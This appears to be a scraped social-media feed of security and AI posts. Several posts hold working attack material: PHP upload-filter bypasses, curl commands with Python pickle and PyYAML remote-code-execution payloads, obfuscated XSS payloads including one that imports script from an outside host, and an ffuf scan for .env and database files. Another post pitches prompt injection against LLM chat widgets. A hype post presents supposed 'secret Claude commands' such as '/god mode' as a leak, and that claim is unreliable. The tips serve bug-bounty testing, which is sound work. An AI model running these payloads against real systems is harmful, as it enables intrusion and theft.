Simon

Security professional. Pro open-source. Pro-privacy.

[kiosa @thegreatest_sv]

A FORMER ANTHROPIC EMPLOYEE ALLEGEDLY LEAKED CLAUDE’S SECRET COMMANDS - AND PEOPLE ARE LOSING IT.

Top 5 Claude prompts Anthropic doesn’t want you to know… so you keep wasting tokens:

/ghost
Use before your prompt to get a more human, natural answer.

artifacts
Add after your prompt to make Claude build an app, game, or dashboard inside the chat.

OODA
Use before your prompt to force Claude into military-style decision analysis.

L99
Add at the end to get the most advanced expert-level response possible.

/god mode
Use before your prompt to unlock Claude’s most aggressive, detailed answer style.

Want more hidden Claude repos that saves you time and money?

Bookmark and read the article below

[Secuaudit @Secuaudit]

Bug bounty hunters — stop skipping chatbots.
That innocent support widget is an LLM with HTTP tools talking to your target's internal network.
One injected message. One pingback hit. One P1.
Read how it works: https://t.co/nFHJia1kvu
#BugBounty #AIHacking #PromptInjection #BugBountyTips

[7h3h4ckv157 @7h3h4ckv157]

754 structured cybersecurity skills for -
AI agents 📍

Source: https://t.co/3SOzIOFWmD

[The XSS Rat - Proud XSS N00b :-) @theXSSrat]

File upload bugs are still everywhere. My 2026 playbook:

1. Map every upload — profile pic, resume, CSV, KYC, support attachments. Different code paths, different bugs.

2. Beat the extension filter:
- shell.PHP (case)
- shell.php.jpg / shell.jpg.php
- .phtml .php5 .phar .pht
- %00 null byte
- shell.php;.jpg (IIS)

3. Spoof Content-Type: image/jpeg in Burp. Half the time it's the only check.

4. Beat magic bytes — prepend GIF89a; to your PHP. Valid image header, valid PHP.

5. SVG = XML = <script>. Stored XSS via image view. Bonus: XXE via DOCTYPE.

6. Path traversal in filenames + Zip Slip in ZIP uploads.

7. Look at what processes the file after upload — ImageMagick, FFmpeg, headless Chrome PDF renderers. SSRF + LFI hide there.

8. Race the antivirus — upload, hammer the URL before the scanner deletes.

9. Trap: hunters test the obvious field and leave. Real bugs live in admin/import/bulk uploads no one tests.

10. Report on IMPACT not the upload. ".phtml uploaded" = medium. ".phtml + RCE PoC at /uploads/" = critical.

What's the wildest upload bug you've found?

[Ruben Hassid @rubenhassid]

People think learning Claude takes days. It doesn't.

I wrote 17 free guides that teach it in hours:

Claude 101: https://t.co/QQDmzBAoH5
Claude Code: https://t.co/o782qegoKu
Claude Skills: https://t.co/RgQUCNMqzQ
Claude Connectors: https://t.co/cSPMBUNmRG
Claude for Excel: https://t.co/ZgmUFXd0Iw
How to Prompt: https://t.co/Sw2tg2PMMc
Claude Certificates: https://t.co/LyV7fegv4c
Claude for your team: https://t.co/NakViTGCAL
Stop Prompting Claude: https://t.co/45xPLDRB6Y
AI Slides (PPT in 2026): https://t.co/OY7cHDTV7l
Claude Design: https://t.co/FhlRSlH0aD
Set up Claude Cowork: https://t.co/4jygw4M1RO
Claude to sound like you: https://t.co/LyV7fegv4c
Stop writing like AI: https://t.co/JXKAVP6hdS
Claude as your computer: https://t.co/tQDrcs8drQ
Claude Cowork + Project: https://t.co/xU97EpdrEe
Stop hitting Claude limits: https://t.co/Yu24rPQafQ

___

1. Save this list for later (three dots, top right).
2. Share it with a friend by ♻️ reposting this image.
3. Subscribe to my free newsletter: https://t.co/psB7XxAv8w.

[Evan Luthra @EvanLuthra]

🚨APPLE ADVERTISES $2 MILLION FOR FINDING SECURITY BUGS.. THEN CALLS YOUR DISCOVERY A "DUPLICATE".. PATCHES IT SILENTLY.. GIVES YOU NOTHING.. AND BANS YOUR APPLE ID IF YOU COMPLAIN..

Two researchers found a critical macOS vulnerability that let attackers steal passwords, encrypted chats, and Safari data through Archive Utility.. Submitted it October 2025..

Apple took 5 months.. Patched it with zero credit.. Zero CVE.. Zero bounty..

Their reason.. "You were not the first person to report this issue"..

That's the duplicate loophole.. Apple claims an internal engineer found it first.. But researchers can't verify that.. Apple controls the tracking system.. No audit.. No appeals..

The researcher said it felt like "doing charity work for a $3 trillion company"..

Another researcher found apps could access your entire photo library even after you turned off access in settings.. Apple's own page lists that at $50,000.. They reported it.. Apple went silent.. Patched it quietly.. Said it was a duplicate.. $0..

When the researcher blogged about it.. Apple permanently banned their 12-year-old Apple ID..

Apple's brand new Passwords app in iOS 18 was sending data over unencrypted HTTP.. A credential manager transmitting password reset links in plaintext.. Any attacker on the same WiFi could intercept them..

Researchers reported it.. Apple let it sit 3 months.. Patched it quietly.. Said it "didn't meet the impact criteria"..

Then there's the FaceTime disaster..

A 14-year-old discovered you could eavesdrop on anyone's iPhone.. Start a FaceTime call.. Add your own number before they answer.. Their microphone turns on.. If they hit the volume button.. Their camera activates too..

His mother spent a week trying to tell Apple.. Emails.. Faxes.. Social media.. Support told her to pay $99 for a developer account to file a bug report..

Apple did nothing until the exploit went viral and millions started eavesdropping on each other.. Then they panicked.. Took FaceTime offline globally.. Congress sent formal letters to Tim Cook demanding answers..

Then there's the researcher who got so fed up being ignored that they hacked Apple's own internal daily security call..

They'd reported a zero-click iMessage vulnerability.. Apple stonewalled them.. So they found another flaw.. Used it to infiltrate the internal FaceTime call where Apple engineers discuss bugs.. And dropped a screenshot proving the exploit live..

The team securing 2.35 billion devices couldn't secure their own meeting..

Apple's response.. A threatening legal letter..

Not a bounty.. A legal threat..

This is why the exploit black market thrives..

A zero-click iPhone exploit sells for $1.5 to $2.5 million on the gray market.. Guaranteed payment.. No bureaucracy.. No "duplicate" risk..

Submitting to Apple means NDAs.. 6-12 months of waiting.. Risk of $0.. Risk of your Apple ID being banned if you speak up..

Those gray market exploits end up with mercenary spyware vendors like NSO Group.. Deployed against journalists and human rights lawyers worldwide..

Apple pushes researchers toward the black market.. Then spends billions defending against the exploits those researchers could have sold them for a fraction of the price..

2.35 billion devices.. And the company would rather send lawyers than pay what they owe.

[WorldofAI @intheworldofai]

https://t.co/DLKaUQ1NB2

[WorldofAI @intheworldofai]

🚨BREAKING: OpenAI's Codex is now completely FREE to run locally with Ollama.

No API costs. No rate limits. 100% private on your machine.

You can now use both the Codex App and Codex CLI with powerful open-source models like DeepSeek V4, Gemma 4, and Qwen 3.6.

Here's how to set it up in minutes:

[vulnX @vuln_X]

1/ 🧵Everyone fuzzes login params. Almost nobody touches the OAuth callback.

error &amp; error_description are attacker-controlled by spec — and devs echo them into error pages assuming the IdP is "trusted."

It's not. Reflected XSS lives here. 👇

#AppSec #InfoSec #BugBountyTips

[Simon @7s26simon]

@Knubbeh @Microsoft

[Stay Classy @Knubbeh]

I will now be giving away @Microsoft 0days.

No point in ethical release if the company is not acting in good faith.

[Rohit @heyrohitai]

🚨 Anthropic just showed a 27-minute workshop on how to actually do prompts for Claude.

Taught by the people who built it.

Free. No registration. No paywall.

I've seen $300 courses that don't cover what they teach in the first 8 minutes.

Watch it and bookmark it now.

[Secuaudit @Secuaudit]

I injected {{7*7}} into a name field. The page said: "Hello, {{7*7}}"
Template not evaluated. I moved on.
🔴 That was a mistake.
The PDF generator rendered it 3 minutes later. DNS hit. Jinja2. Internal IP. P1.
Here's what I missed — and how to never miss it again: https://t.co/rmvBnJpypp

#BugBounty #AppSec #CyberSecurity #Hacking #Pentest #bugbountytips

[Justine Moore @venturetwins]

Me using Claude Opus 4.8 to rename a file

[Simon @7s26simon]

@KN0X55 Shame someone has stolen this and posted it on LinkedIn as their own.

[Brute @BRuteLogic]

Python RCE

Pickle
curl TARGET/api -H"Content-Type:application/json" -d'{"data":"gASVKwAAAAAAAACMCnN1YnByb2Nlc3OUjAxjaGVja19vdXRwdXSUk5RdlIwCaWSUYYWUUpQu"}'

PyYAML
curl TARGET/api/config -H"Content-Type:application/x-yaml" -d'!!python/object/new:subprocess.check_output [["id"]]'

[KNOXSS @KN0X55]

XSS PoC Styles

- Noob
alert(1)

- Bug Hunter
alert(document.domain)

- WAF Ninja
d=document,b='`',d['loca'%2B'tion']='javascrip'%2B't%26colon;aler'%2B't'%2Bb%2Bd.domain%2Bb

- Red Teamer
import('//domain.tld/xss2rce.js')

- KNOXSS

[KNOXSS @KN0X55]

JavaScript URI Obfuscation
(colon entity, no semicolon)

JavaScript%26%2358confirm(1) JavaScript%26%2358AB:confirm(1) JavaScript%26%2358%0Bconfirm(1) JavaScript%26%2358top?confirm(1):0

#hack2earn

[Simon @7s26simon]

@GoodwinMJ @GoodwinMJ how you have the patience to put up with that Seb guy is beyond me. He's an absolute moron. You hit him with facts and he couldn't handle it. Great job.

[Godfather Orwa 🇯🇴 @GodfatherOrwa]

lof web apps that are built by AI, it have .md and mostly 🔥
so any app you test, JSP / PHP / ASP

Add for fuzzing the extensions
ffuf -w /wordlist -u .com/FUZZ -e .md,.db,.txt,.xml,.sql,.7z,.zip,.tar.gz,.env

it will take some time, but it will be back with very good results♥